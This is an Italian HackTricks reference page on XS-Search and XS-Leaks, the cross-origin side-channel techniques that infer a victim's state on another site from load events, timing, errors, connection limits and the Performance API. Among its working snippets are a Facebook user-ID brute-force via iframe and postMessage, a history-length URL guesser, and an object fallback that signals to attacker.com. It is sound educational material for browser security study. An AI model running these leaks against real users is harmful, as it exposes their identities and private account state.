XS-Search/XS-Leaks

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

XS-Search è un metodo usato per estrarre informazioni cross-origin sfruttando vulnerabilità side-channel.

I componenti chiave coinvolti in questo attacco includono:

  • Vulnerable Web: Il sito target dal quale si intende estrarre informazioni.
  • Attacker’s Web: Il sito malevolo creato dall’attaccante, visitato dalla vittima, che ospita l’exploit.
  • Inclusion Method: La tecnica impiegata per incorporare il Vulnerable Web nell’Attacker’s Web (es. window.open, iframe, fetch, HTML tag with href, etc.).
  • Leak Technique: Tecniche utilizzate per discernere differenze nello stato del Vulnerable Web basandosi sulle informazioni raccolte tramite l’Inclusion Method.
  • States: Le due possibili condizioni del Vulnerable Web che l’attaccante mira a distinguere.
  • Detectable Differences: Variazioni osservabili su cui l’attaccante si basa per inferire lo stato del Vulnerable Web.

Differenze rilevabili

Diversi aspetti possono essere analizzati per differenziare gli stati del Vulnerable Web:

  • Status Code: Distinguere tra vari codici di risposta HTTP cross-origin, come errori del server, errori del client o errori di autenticazione.
  • API Usage: Identificare l’uso di Web APIs attraverso le pagine, rivelando se una pagina cross-origin impiega una specifica JavaScript Web API.
  • Redirects: Rilevare navigazioni verso pagine diverse, non solo redirect HTTP ma anche quelli attivati via JavaScript o HTML.
  • Page Content: Osservare variazioni nel body della risposta HTTP o nelle sotto-risorse della pagina, come il numero di frame incorporati o differenze di dimensione nelle immagini.
  • HTTP Header: Notare la presenza o eventualmente il valore di uno specifico header di risposta HTTP, inclusi header come X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy.
  • Timing: Rilevare differenze temporali coerenti tra i due stati.

Metodi di inclusione

  • HTML Elements: HTML offre vari elementi per la cross-origin resource inclusion, come stylesheets, images, or scripts, obbligando il browser a richiedere una risorsa non-HTML. Una raccolta di possibili elementi HTML per questo scopo è disponibile su https://github.com/cure53/HTTPLeaks.
  • Frames: Elementi come iframe, object e embed possono includere risorse HTML direttamente nella pagina dell’attaccante. Se la pagina manca di protezione contro il framing, JavaScript può accedere all’oggetto window della risorsa incorniciata tramite la proprietà contentWindow.
  • Pop-ups: Il metodo window.open apre una risorsa in una nuova tab o finestra, fornendo un window handle con cui JavaScript può interagire con metodi e proprietà secondo la SOP. I pop-up, spesso usati per il single sign-on, aggirano restrizioni di framing e cookie di una risorsa target. Tuttavia, i browser moderni limitano la creazione di pop-up ad alcune azioni dell’utente.
  • JavaScript Requests: JavaScript permette richieste dirette alle risorse target usando XMLHttpRequests o la Fetch API. Questi metodi offrono controllo preciso sulla richiesta, ad esempio la possibilità di seguire redirect HTTP.

Leak Techniques

  • Event Handler: Una tecnica classica di leak negli XS-Leaks, dove gli event handler come onload e onerror forniscono indicazioni sul successo o fallimento del caricamento della risorsa.
  • Error Messages: Eccezioni JavaScript o pagine di errore speciali possono fornire informazioni di leak direttamente dal messaggio di errore o differenziando la presenza/assenza dello stesso.
  • Global Limits: Limitazioni fisiche del browser, come la capacità di memoria o altri limiti imposti, possono segnalare il raggiungimento di una soglia e fungere da tecnica di leak.
  • Global State: Interazioni rilevabili con gli stati globali del browser (es. l’interfaccia History) possono essere sfruttate. Ad esempio, il numero di voci nella history del browser può dare indizi su pagine cross-origin.
  • Performance API: Questa API fornisce dettagli di performance della pagina corrente, inclusi i tempi di rete per il documento e le risorse caricate, permettendo inferenze sulle risorse richieste.
  • Readable Attributes: Alcuni attributi HTML sono leggibili cross-origin e possono essere usati come tecnica di leak. Ad esempio, la proprietà window.frame.length permette a JavaScript di contare i frame inclusi in una pagina cross-origin.

XSinator Tool & Paper

XSinator è uno strumento automatico per verificare i browser contro diversi XS-Leaks spiegati nel suo paper: https://xsinator.com/paper.pdf

Puoi accedere allo strumento su https://xsinator.com/

Warning

Excluded XS-Leaks: Abbiamo dovuto escludere gli XS-Leaks che si basano su service workers poiché interferirebbero con altri leaks in XSinator. Inoltre, abbiamo scelto di escludere gli XS-Leaks che dipendono da misconfigurazioni e bug in una specifica web application. Ad esempio, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage o Cross-Site Scripting. Inoltre, abbiamo escluso gli timebased XS-Leaks poiché spesso risultano lenti, rumorosi e inaccurati.

Tecniche basate sul timing

Alcune delle tecniche seguenti utilizzeranno il timing come parte del processo per rilevare differenze negli possibili stati delle pagine web. Esistono diversi modi per misurare il tempo in un browser.

Clocks: L’performance.now() API consente agli sviluppatori di ottenere misurazioni temporali ad alta risoluzione.
Esiste un numero considerevole di API che gli attacker possono abusare per creare orologi impliciti: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animazioni CSS, e altri.
Per maggiori informazioni: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Event Handler Techniques

Onload/Onerror

Cookie Bomb + Onerror XS Leak

L’esempio di codice prova a caricare script/objects via JS, ma altri tag come objects, stylesheets, images, audios possono essere usati. Inoltre, è possibile iniettare il tag direttamente e dichiarare gli eventi onload e onerror all’interno del tag (invece di iniettarli da JS).

Esiste anche una versione senza script di questo attacco:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

In questo caso, se example.com/404 non viene trovato, verrà caricata attacker.com/?error.

Content-Type/CORB script load oracle

  • Inclusion Methods: HTML Elements (script)
  • Detectable Difference: Header / Content-Type via onload vs onerror (CORB)
  • Summary: Se un endpoint restituisce HTML in caso di match e JSON in caso di mismatch, caricalo con <script src>. L’HTML attiva onload; il JSON viene bloccato da CORB e scatena onerror, fornendo un oracle booleano per brute-forzare identificatori come __user all’interno di un ambito noto.
  • Notes: Funziona cross-origin senza leggere i body; comodo per enumerare l’account attivo quando un tenant ID è fisso.

postMessage vs X-Frame-Options deny oracle

  • Inclusion Methods: Frames
  • Detectable Difference: Header (XFO) + postMessage presence/absence
  • Summary: Alcuni widget inviano postMessage al parent una volta caricati. Se la richiesta è incorniciata con un identificatore sbagliato, il server può rispondere con X-Frame-Options: deny, impedendo il rendering e quindi nessun messaggio viene emesso. Impostando l’iframe src con l’ID candidato, aspettando un evento message (successo) e trattando timeout/assenza di messaggio come fallimento, è possibile brute-forzare l’account attivo.
  • Minimal snippet:
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>

Iframe Traps

for more message/iframe pitfalls.

Onload Timing

performance.now example

Onload Timing + Forced Heavy Task

Questa tecnica è identica alla precedente, ma l’attacker forzerà anche qualche azione che richiederà una quantità di tempo rilevante quando la risposta è positiva o negativa e misurerà quel tempo.

performance.now + Force heavy task

unload/beforeunload Timing

Il tempo necessario per recuperare una risorsa può essere misurato sfruttando gli eventi unload e beforeunload. L’evento beforeunload viene scatenato quando il browser sta per navigare verso una nuova pagina, mentre l’evento unload si verifica quando la navigazione è effettivamente in corso. La differenza di tempo tra questi due eventi può essere calcolata per determinare la durata che il browser ha impiegato per il fetch della risorsa.

Sandboxed Frame Timing + onload

È stato osservato che, in assenza di Framing Protections, il tempo necessario a una pagina e alle sue subresource per caricarsi sulla rete può essere misurato da un attacker. Questa misurazione è tipicamente possibile perché l’handler onload di un iframe viene attivato solo dopo il completamento del caricamento delle risorse e dell’esecuzione di JavaScript. Per evitare la variabilità introdotta dall’esecuzione degli script, un attacker potrebbe usare l’attributo sandbox nell’elemento <iframe>. L’inclusione di questo attributo limita molte funzionalità, in particolare l’esecuzione di JavaScript, facilitando così una misurazione che è influenzata principalmente dalle prestazioni di rete.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Metodi di inclusione: Frames
  • Differenza rilevabile: Page Content
  • Maggiori info:
  • Riepilogo: Se puoi far generare un errore alla pagina quando il contenuto corretto viene accesso e farla caricare correttamente quando viene accesso qualsiasi altro contenuto, allora puoi creare un loop per estrarre tutte le informazioni senza misurare il tempo.
  • Esempio di codice:

Supponiamo che tu possa inserire la pagina che contiene il contenuto segreto dentro un Iframe.

Puoi far cercare alla vittima il file che contiene “flag” usando un Iframe (sfruttando ad esempio una CSRF). Dentro l’Iframe sai che l’evento onload verrà eseguito sempre almeno una volta. Poi, puoi modificare la URL dell’iframe cambiando solo il contenuto dell’hash dentro la URL.

Per esempio:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

Se la prima URL è stata caricata con successo, allora, cambiando la parte hash della URL l’evento onload non verrà triggerato di nuovo. Ma se la pagina ha avuto un qualche errore durante il caricamento, allora l’evento onload verrà triggerato di nuovo.

In questo modo puoi distinguere tra una pagina caricata correttamente e una pagina che genera un errore quando viene accessata.

Javascript Execution

  • Metodi di inclusione: Frames
  • Differenza rilevabile: Page Content
  • Maggiori info:
  • Riepilogo: Se la pagina sta restituendo il contenuto sensibile, oppure un contenuto che può essere controllato dall’utente, l’utente potrebbe inserire codice JS valido nel caso negativo e caricare ogni tentativo dentro tag <script>; quindi nei casi negativi il codice dell’attaccante viene eseguito, mentre nei casi positivi non verrà eseguito nulla.
  • Esempio di codice:

JavaScript Execution XS Leak

CORB - Onerror

  • Metodi di inclusione: HTML Elements
  • Differenza rilevabile: Status Code & Headers
  • Maggiori info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Riepilogo: Cross-Origin Read Blocking (CORB) è una misura di sicurezza che impedisce alle pagine web di caricare alcune risorse cross-origin sensibili per proteggere da attacchi come Spectre. Tuttavia, gli attaccanti possono sfruttare il suo comportamento protettivo. Quando una risposta soggetta a CORB restituisce un Content-Type soggetto a protezione con nosniff e un codice di stato 2xx, CORB rimuove il body e gli header della risposta. Osservando questo comportamento, un attaccante può dedurre la combinazione del codice di stato (indicando successo o errore) e del Content-Type (indicando se è protetto da CORB), portando a potenziali fughe di informazioni.
  • Esempio di codice:

Consulta il link nelle maggiori info per ulteriori dettagli sull’attacco.

onblur

È possibile caricare una pagina dentro un iframe e usare il #id_value per far sì che la pagina focalizzi l’elemento dell’iframe con l’id indicato; se viene triggerato un segnale onblur, l’elemento con quell’ID esiste.
Lo stesso attacco può essere effettuato con i tag portal.

postMessage Broadcasts

  • Metodi di inclusione: Frames, Pop-ups
  • Differenza rilevabile: API Usage
  • Maggiori info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Riepilogo: Raccogliere informazioni sensibili da un postMessage o usare la presenza di postMessages come oracolo per conoscere lo stato dell’utente nella pagina
  • Esempio di codice: Any code listening for all postMessages.

Le applicazioni frequentemente utilizzano i postMessage broadcasts per comunicare tra origini diverse. Tuttavia, questo metodo può esporre involontariamente informazioni sensibili se il parametro targetOrigin non è specificato correttamente, permettendo a qualsiasi window di ricevere i messaggi. Inoltre, la semplice ricezione di un messaggio può fungere da oracolo; per esempio, alcuni messaggi potrebbero essere inviati solo agli utenti autenticati. Di conseguenza, la presenza o assenza di questi messaggi può rivelare informazioni sullo stato o l’identità dell’utente, come ad esempio se è autenticato o meno.

Tecniche sui limiti globali

WebSocket API

È possibile identificare se, e quante, connessioni WebSocket una pagina target utilizza. Questo permette a un attaccante di rilevare stati dell’applicazione e informazioni legate al numero di connessioni WebSocket.

Se un’origine usa il numero massimo di oggetti WebSocket, indipendentemente dallo stato delle connessioni, la creazione di nuovi oggetti genererà eccezioni JavaScript. Per eseguire questo attacco, il sito dell’attaccante apre il sito target in un pop-up o iframe e poi, dopo che il target è stato caricato, tenta di creare il massimo numero di connessioni WebSocket possibili. Il numero di eccezioni lanciate corrisponde al numero di connessioni WebSocket usate dalla finestra del sito target.

Payment API

Questa XS-Leak permette a un attaccante di rilevare quando una pagina cross-origin avvia una richiesta di pagamento.

Poiché solo una Payment Request può essere attiva in un dato momento, se il sito target sta usando la Payment Request API, qualsiasi tentativo ulteriore di mostrare l’interfaccia della Payment API fallirà e provocherà una eccezione JavaScript. L’attaccante può sfruttare questo tentando periodicamente di mostrare l’UI della Payment API. Se un tentativo causa un’eccezione, il sito target la sta attualmente utilizzando. L’attaccante può nascondere questi tentativi periodici chiudendo immediatamente l’UI dopo la sua creazione.

Timing the Event Loop

Event Loop Blocking + Lazy images

JavaScript opera su un modello di concorrenza a single-threaded event loop, il che significa che può eseguire una sola attività alla volta. Questa caratteristica può essere sfruttata per valutare quanto tempo impiega codice di un’origine diversa a essere eseguito. Un attaccante può misurare il tempo di esecuzione del proprio codice nell’event loop dispatchando continuamente eventi con proprietà fisse. Questi eventi verranno processati quando la coda degli eventi è vuota. Se altre origini stanno anch’esse inviando eventi alla stessa coda, un attaccante può dedurre il tempo necessario per l’esecuzione di quegli eventi esterni osservando i ritardi nell’esecuzione dei propri task. Questo metodo di monitoraggio dell’event loop per ritardi può rivelare il tempo di esecuzione di codice proveniente da origini diverse, esponendo potenzialmente informazioni sensibili.

Warning

In un attacco di tipo execution timing è possibile eliminare i fattori di rete per ottenere misurazioni più precise. Per esempio, caricando le risorse usate dalla pagina prima di caricarla.

Busy Event Loop

  • Metodi di inclusione:
  • Differenza rilevabile: Timing (generalmente dovuto a Page Content, Status Code)
  • Maggiori info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Riepilogo: Un metodo per misurare il tempo di esecuzione di un’operazione web consiste nel bloccare intenzionalmente l’event loop di un thread e poi cronometrare quanto tempo impiega l’event loop a tornare disponibile. Inserendo un’operazione bloccante (come una lunga computazione o una chiamata sincrona) nell’event loop e monitorando il tempo necessario affinché il codice successivo inizi l’esecuzione, si può dedurre la durata dei task che erano in esecuzione nell’event loop durante il periodo di blocco. Questa tecnica sfrutta la natura single-threaded dell’event loop di JavaScript, dove i task sono eseguiti in sequenza, e può fornire informazioni sulle prestazioni o sul comportamento di altre operazioni che condividono lo stesso thread.
  • Esempio di codice:

Un vantaggio significativo della tecnica di misurazione bloccando l’event loop è il suo potenziale di eludere Site Isolation. Site Isolation è una funzione di sicurezza che separa diversi siti in processi distinti, con lo scopo di impedire ai siti malevoli di accedere direttamente a dati sensibili di altri siti. Tuttavia, influenzando il timing di esecuzione di un’altra origine tramite l’event loop condiviso, un attaccante può estrarre indirettamente informazioni sulle attività di quell’origine. Questo metodo non si basa sull’accesso diretto ai dati dell’altra origine, ma osserva l’impatto delle attività di quell’origine sull’event loop condiviso, aggirando così le barriere protettive stabilite da Site Isolation.

Warning

In un attacco di tipo execution timing è possibile eliminare i fattori di rete per ottenere misurazioni più precise. Per esempio, caricando le risorse usate dalla pagina prima di caricarla.

Connection Pool

  • Metodi di inclusione: JavaScript Requests
  • Differenza rilevabile: Timing (generalmente dovuto a Page Content, Status Code)
  • Maggiori info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Riepilogo: Un attaccante potrebbe occupare tutte le socket eccetto 1, caricare il sito target e contemporaneamente caricare un’altra pagina; il tempo fino a quando l’ultima pagina inizia a caricarsi è il tempo che il target ha impiegato per caricare.
  • Esempio di codice:

Connection Pool Examples

I browser utilizzano socket per comunicare con i server, ma a causa delle risorse limitate del sistema operativo e dell’hardware, i browser sono costretti a imporre un limite sul numero di socket concorrenti. Gli attaccanti possono sfruttare questo limite con i seguenti passi:

  1. Determinare il limite di socket del browser, per esempio 256 socket globali.
  2. Occupare 255 socket per un lungo periodo avviando 255 richieste a vari host, progettate per tenere le connessioni aperte senza completarle.
  3. Usare la 256ª socket per inviare una richiesta alla pagina target.
  4. Tentare una 257ª richiesta verso un altro host. Poiché tutte le socket sono in uso (come nei passi 2 e 3), questa richiesta verrà messa in coda finché non si libera una socket. Il ritardo prima che questa richiesta proceda fornisce all’attaccante informazioni di timing sull’attività di rete relativa alla 256ª socket (la socket della pagina target). Questa inferenza è possibile perché le 255 socket del passo 2 sono ancora occupate, implicando che qualsiasi socket disponibile deve essere quella rilasciata dal passo 3. Il tempo necessario affinché la 256ª socket diventi disponibile è quindi direttamente legato al tempo richiesto per completare la richiesta alla pagina target.

Per maggiori info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Metodi di inclusione: JavaScript Requests
  • Differenza rilevabile: Timing (generalmente dovuto a Page Content, Status Code)
  • Maggiori info:
  • Riepilogo: È simile alla tecnica precedente ma invece di usare tutte le socket, Google Chrome impone un limite di 6 richieste concorrenti alla stessa origine. Se blocchiamo 5 e poi lanciamo una 6ª richiesta possiamo misurarne il tempo e se riusciamo a far sì che la pagina vittima invii più richieste allo stesso endpoint per rilevarne uno stato, la 6ª richiesta impiegherà più tempo e potremo rilevarla.

Tecniche Performance API

La Performance API offre informazioni sulle metriche di performance delle applicazioni web, ulteriormente arricchite dalla Resource Timing API. La Resource Timing API permette di monitorare i tempi di rete dettagliati delle richieste, come la durata delle richieste. Notevolmente, quando i server includono l’header Timing-Allow-Origin: * nelle loro risposte, dati aggiuntivi come la transfer size e il domain lookup time diventano disponibili.

Questi dati possono essere ottenuti tramite metodi come performance.getEntries o performance.getEntriesByName, fornendo una vista completa delle informazioni legate alla performance. Inoltre, l’API facilita la misurazione dei tempi di esecuzione calcolando la differenza tra timestamp ottenuti da performance.now(). Tuttavia, vale la pena notare che per alcune operazioni in browser come Chrome la precisione di performance.now() può essere limitata ai millisecondi, il che può influire sulla granularità delle misurazioni di timing.

Oltre alle misurazioni temporali, la Performance API può essere sfruttata per informazioni di sicurezza. Per esempio, la presenza o assenza di pagine nell’oggetto performance in Chrome può indicare l’applicazione di X-Frame-Options. Specificamente, se una pagina è bloccata dal rendering in un frame a causa di X-Frame-Options, essa non verrà registrata nell’oggetto performance, fornendo un indizio sottile sulle policy di framing della pagina.

Error Leak

È possibile differenziare tra codici di stato HTTP perché le richieste che portano a un errore non creano un’entry di performance.

Style Reload Error

Nella tecnica precedente sono stati identificati due casi in cui bug del GC portano a risorse caricate due volte quando falliscono il caricamento. Questo si tradurrà in più entry nella Performance API e può quindi essere rilevato.

Request Merging Error

La tecnica è elencata in una tabella nel paper menzionato ma non è stata trovata una descrizione dettagliata. Tuttavia, puoi trovare il codice sorgente che la verifica in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

Un attaccante può rilevare se una richiesta ha prodotto un corpo HTTP vuoto perché le pagine vuote non creano un’entry di performance in alcuni browser.

XSS-Auditor Leak

Nelle Security Assertions (SA), l’XSS Auditor, originariamente pensato per prevenire Cross-Site Scripting (XSS), può paradossalmente essere sfruttato per leakare informazioni sensibili. Sebbene questa funzionalità integrata sia stata rimossa da Google Chrome (GC), è ancora presente in SA. Nel 2013 Braun e Heiderich dimostrarono che l’XSS Auditor poteva bloccare script legittimi, causando false positive. Successivamente, sono state sviluppate tecniche per estrarre informazioni e rilevare contenuti specifici su pagine cross-origin, un concetto noto come XS-Leaks, inizialmente riportato da Terada e ampliato da Heyes in un blog post. Sebbene queste tecniche fossero specifiche per l’XSS Auditor in GC, è stato scoperto che in SA le pagine bloccate dall’XSS Auditor non generano entry nella Performance API, rivelando un metodo tramite cui informazioni sensibili possono ancora essere esposte.

X-Frame Leak

Se una pagina non è autorizzata a essere renderizzata in un iframe non crea un’entry di performance. Di conseguenza, un attaccante può rilevare l’header di risposta X-Frame-Options.
La stessa cosa accade se si usa un tag embed.

Download Detection

Analogamente alla XS-Leak descritta, una risorsa che viene scaricata a causa dell’header ContentDisposition non crea un’entry di performance. Questa tecnica funziona in tutti i browser principali.

Redirect Start Leak

Abbiamo trovato un’istanza di XS-Leak che abusa del comportamento di alcuni browser che registrano troppe informazioni per richieste cross-origin. Lo standard definisce un sottoinsieme di attributi che dovrebbero essere impostati a zero per risorse cross-origin. Tuttavia, in SA è possibile rilevare se l’utente viene reindirizzato dalla pagina target interrogando la Performance API e controllando il dato redirectStart.

Duration Redirect Leak

In GC, la duration per richieste che risultano in redirect è negativa e può quindi essere distinta dalle richieste che non subiscono redirect.

CORP Leak

In alcuni casi, l’attributo nextHopProtocol può essere usato come tecnica di leak. In GC, quando l’header CORP è impostato, nextHopProtocol sarà vuoto. Nota che SA non creerà affatto un’entry di performance per risorse abilitate CORP.

Service Worker

I service worker sono contesti di script event-driven che girano per un’origine. Operano in background rispetto a una pagina web e possono intercettare, modificare e cache-are risorse per creare applicazioni web offline.
Se una risorsa cached da un service worker viene accessa via iframe, la risorsa verrà caricata dalla cache del service worker.
Per rilevare se la risorsa è stata presa dalla cache del service worker si può usare la Performance API.
Questo potrebbe anche essere fatto con un attacco di Timing (vedi il paper per maggiori dettagli).

Cache

Usando la Performance API è possibile verificare se una risorsa è in cache.

Network Duration

Tecnica dei messaggi di errore

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

L’interfaccia MediaError e la sua proprietà message identificano in modo univoco risorse che si caricano con successo tramite una stringa distinta. Un attaccante può sfruttare questa caratteristica osservando il contenuto del message e deducendo così lo stato della risposta di una risorsa cross-origin.

CORS Error

Questa tecnica permette a un attaccante di estrarre la destinazione del redirect di un sito cross-origin sfruttando il modo in cui i browser basati su WebKit gestiscono le richieste CORS. In particolare, quando viene inviata una richiesta CORS-enabled verso un sito target che esegue un redirect in base allo stato dell’utente e il browser successivamente nega la richiesta, l’URL completo della destinazione del redirect viene rivelato all’interno del messaggio di errore. Questa vulnerabilità non solo rivela l’esistenza del redirect ma espone anche l’endpoint di destinazione e eventuali parametri di query sensibili che contiene.

SRI Error

Un attaccante può sfruttare messaggi di errore verbose per dedurre la dimensione delle risposte cross-origin. Ciò è possibile grazie al meccanismo di Subresource Integrity (SRI), che utilizza l’attributo integrity per verificare che le risorse fetchate, spesso da CDN, non siano state manomesse. Perché SRI funzioni su risorse cross-origin, queste devono essere CORS-enabled; altrimenti non vengono sottoposte ai controlli di integrità. In Security Assertions (SA), simile al CORS error XS-Leak, è possibile catturare un messaggio di errore dopo una fetch con un attributo integrity quando questa fallisce. Gli attaccanti possono deliberatamente provocare questo errore assegnando un valore di hash falso all’attributo integrity di una richiesta. In SA, il messaggio di errore risultante rivela involontariamente la lunghezza del contenuto della risorsa richiesta. Questa perdita di informazione permette a un attaccante di distinguere variazioni nelle dimensioni della risposta, aprendo la strada ad attacchi XS-Leak più sofisticati.

CSP Violation/Detection

Un XS-Leak può utilizzare la CSP per rilevare se un sito cross-origin è stato redirectato verso una diversa origin. Questo leak può rilevare il redirect e, inoltre, il dominio della destinazione del redirect viene esposto. L’idea di base di questo attacco è di permettere il dominio target sul sito dell’attaccante. Una volta che viene emessa una richiesta al dominio target, questo effettua un redirect verso un dominio cross-origin. La CSP blocca l’accesso e genera un report di violazione che può essere usato come tecnica di leak. A seconda del browser, questo report può rivelare la location di destinazione del redirect. I browser moderni non indicheranno l’URL verso cui è stato effettuato il redirect, ma è comunque possibile rilevare che un redirect cross-origin è stato innescato.

Cache

I browser potrebbero usare una cache condivisa per tutti i siti web. Indipendentemente dalla loro origin, è possibile dedurre se una pagina target ha richiesto un file specifico.

Se una pagina carica un’immagine solo se l’utente è loggato, puoi invalidare la risorsa (così non sarà più cache-ata se lo era, vedi i link per più info), eseguire una richiesta che potrebbe caricare quella risorsa e tentare di caricare la risorsa con una richiesta malformata (es. usando un referer header eccessivamente lungo). Se il caricamento della risorsa non ha scatenato alcun errore, è perché era in cache.

CSP Directive

Una funzionalità nuova in Google Chrome permette alle pagine web di proporre una Content Security Policy (CSP) impostando un attributo sull’elemento iframe, con le direttive della policy trasmesse insieme alla richiesta HTTP. Normalmente, il contenuto incorporato deve autorizzare ciò tramite un header HTTP, altrimenti viene mostrata una pagina di errore. Tuttavia, se l’iframe è già soggetto a una CSP e la policy proposta non è più restrittiva, la pagina viene caricata normalmente. Questo meccanismo apre una via per un attaccante per rilevare specifiche direttive CSP di una pagina cross-origin identificando la pagina di errore. Sebbene questa vulnerabilità sia stata segnalata come risolta, le nostre scoperte rivelano una nuova tecnica di leak in grado di individuare la pagina di errore, suggerendo che il problema sottostante non è stato completamente risolto.

CORP

L’header CORP è una feature di sicurezza relativamente nuova della piattaforma web che quando impostata blocca le richieste no-cors cross-origin verso la risorsa indicata. La presenza dell’header può essere rilevata, perché una risorsa protetta con CORP genererà un errore quando viene fetchata.

CORB

Controlla il link per maggiori informazioni sull’attacco.

CORS error on Origin Reflection misconfiguration

Nel caso in cui l’header Origin venga riflesso nell’header Access-Control-Allow-Origin, un attaccante può abusare di questo comportamento tentando di fetchare la risorsa in modalità CORS. Se non viene generato un errore, significa che è stata recuperata correttamente dal web; se invece viene generato un errore, è perché è stata acceduta dalla cache (l’errore appare perché la cache salva una risposta con un header CORS che permette il dominio originale e non quello dell’attaccante).
Nota che se l’origin non viene riflesso ma è usato un wildcard (Access-Control-Allow-Origin: *) questo metodo non funziona.

Readable Attributes Technique

Fetch Redirect

Inviando una richiesta con Fetch API usando redirect: "manual" e altri parametri, è possibile leggere l’attributo response.type e se è uguale a opaqueredirect allora la response era un redirect.

COOP

Un attaccante è in grado di dedurre la presenza dell’header Cross-Origin Opener Policy (COOP) in una risposta HTTP cross-origin. COOP è usata dalle applicazioni web per impedire ai siti esterni di ottenere riferimenti arbitrari alla window. La visibilità di questo header può essere discernibile provando ad accedere al riferimento contentWindow. In scenari dove COOP è applicato condizionatamente, la proprietà opener diventa un indicatore: è undefined quando COOP è attivo, e defined quando non è presente.

URL Max Length - Server Side

Se un redirect server-side usa input utente all’interno della redirection e dati aggiuntivi, è possibile rilevare questo comportamento perché di solito i server hanno un limite sulla lunghezza della richiesta. Se i dati utente sono pari a quella lunghezza - 1, e il redirect aggiunge qualcosa in più, ciò scatenerà un errore rilevabile tramite Error Events.

Se in qualche modo puoi impostare cookie per un utente, puoi anche eseguire questo attacco impostando abbastanza cookie (cookie bomb) così che, con l’aumento di dimensione della response corretta, venga scatenato un errore. In questo caso, ricorda che se avvii questa richiesta dal medesimo sito, <script> invierà automaticamente i cookie (quindi puoi controllare per eventuali errori).
Un esempio di cookie bomb + XS-Search si trova nella soluzione prevista di questo writeup: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None o trovarsi nello stesso contesto è solitamente necessario per questo tipo di attacco.

URL Max Length - Client Side

Secondo la documentazione di Chromium, la lunghezza massima degli URL in Chrome è 2MB.

In generale, la piattaforma web non impone limiti sulla lunghezza degli URL (anche se 2^31 è un limite comune). Chrome limita gli URL a una lunghezza massima di 2MB per ragioni pratiche e per evitare problemi di denial-of-service nelle comunicazioni inter-processo.

Quindi se l’URL di redirect è più grande in uno dei casi, è possibile forzare un redirect con un URL maggiore di 2MB per raggiungere il limite. Quando ciò accade, Chrome mostra una pagina about:blank#blocked.

La differenza percettibile è che se il redirect è stato completato, window.origin genera un errore perché una cross origin non può accedere a quelle informazioni. Tuttavia, se il limite è stato superato e la pagina caricata è about:blank#blocked, l’origin della window rimane quello del parent, che è un’informazione accessibile.

Tutte le informazioni aggiuntive necessarie per raggiungere i 2MB possono essere aggiunte tramite un hash nell’URL iniziale in modo che vengano usate nel redirect.

URL Max Length - Client Side

Max Redirects

Se il numero massimo di redirect seguiti da un browser è 20, un attaccante potrebbe provare a caricare la sua pagina con 19 redirect e infine inviare la vittima alla pagina testata. Se viene scatenato un errore, allora la pagina stava tentando di redirectare la vittima.

History Length

La History API permette al codice JavaScript di manipolare la history del browser, che salva le pagine visitate dall’utente. Un attaccante può usare la proprietà length come metodo di inclusion: per rilevare navigazioni JavaScript e HTML.
Controllando history.length, facendo navigare un utente verso una pagina, tornando indietro alla stessa-origin e ricontrollando il nuovo valore di history.length.

History Length with same URL

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: If URL is the same as the guessed one
  • Summary: È possibile indovinare se la location di un frame/popup è in una specifica URL abusando della history length.
  • Code Example: Below

Un attaccante potrebbe usare codice JavaScript per impostare la location del frame/popup su un URL ipotizzato e immediatamente dopo cambiarla in about:blank. Se la history length è aumentata significa che l’URL era corretto ed ha avuto il tempo di incrementare perché l’URL non viene ricaricato se è lo stesso. Se non è aumentata significa che ha provato a caricare l’URL ipotizzato ma poiché subito dopo abbiamo caricato about:blank, la history length non è mai aumentata durante il caricamento dell’URL ipotizzato.

async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Frame Counting

Contare il numero di frame in una pagina web aperta tramite iframe o window.open può aiutare a identificare lo stato dell’utente rispetto a quella pagina.
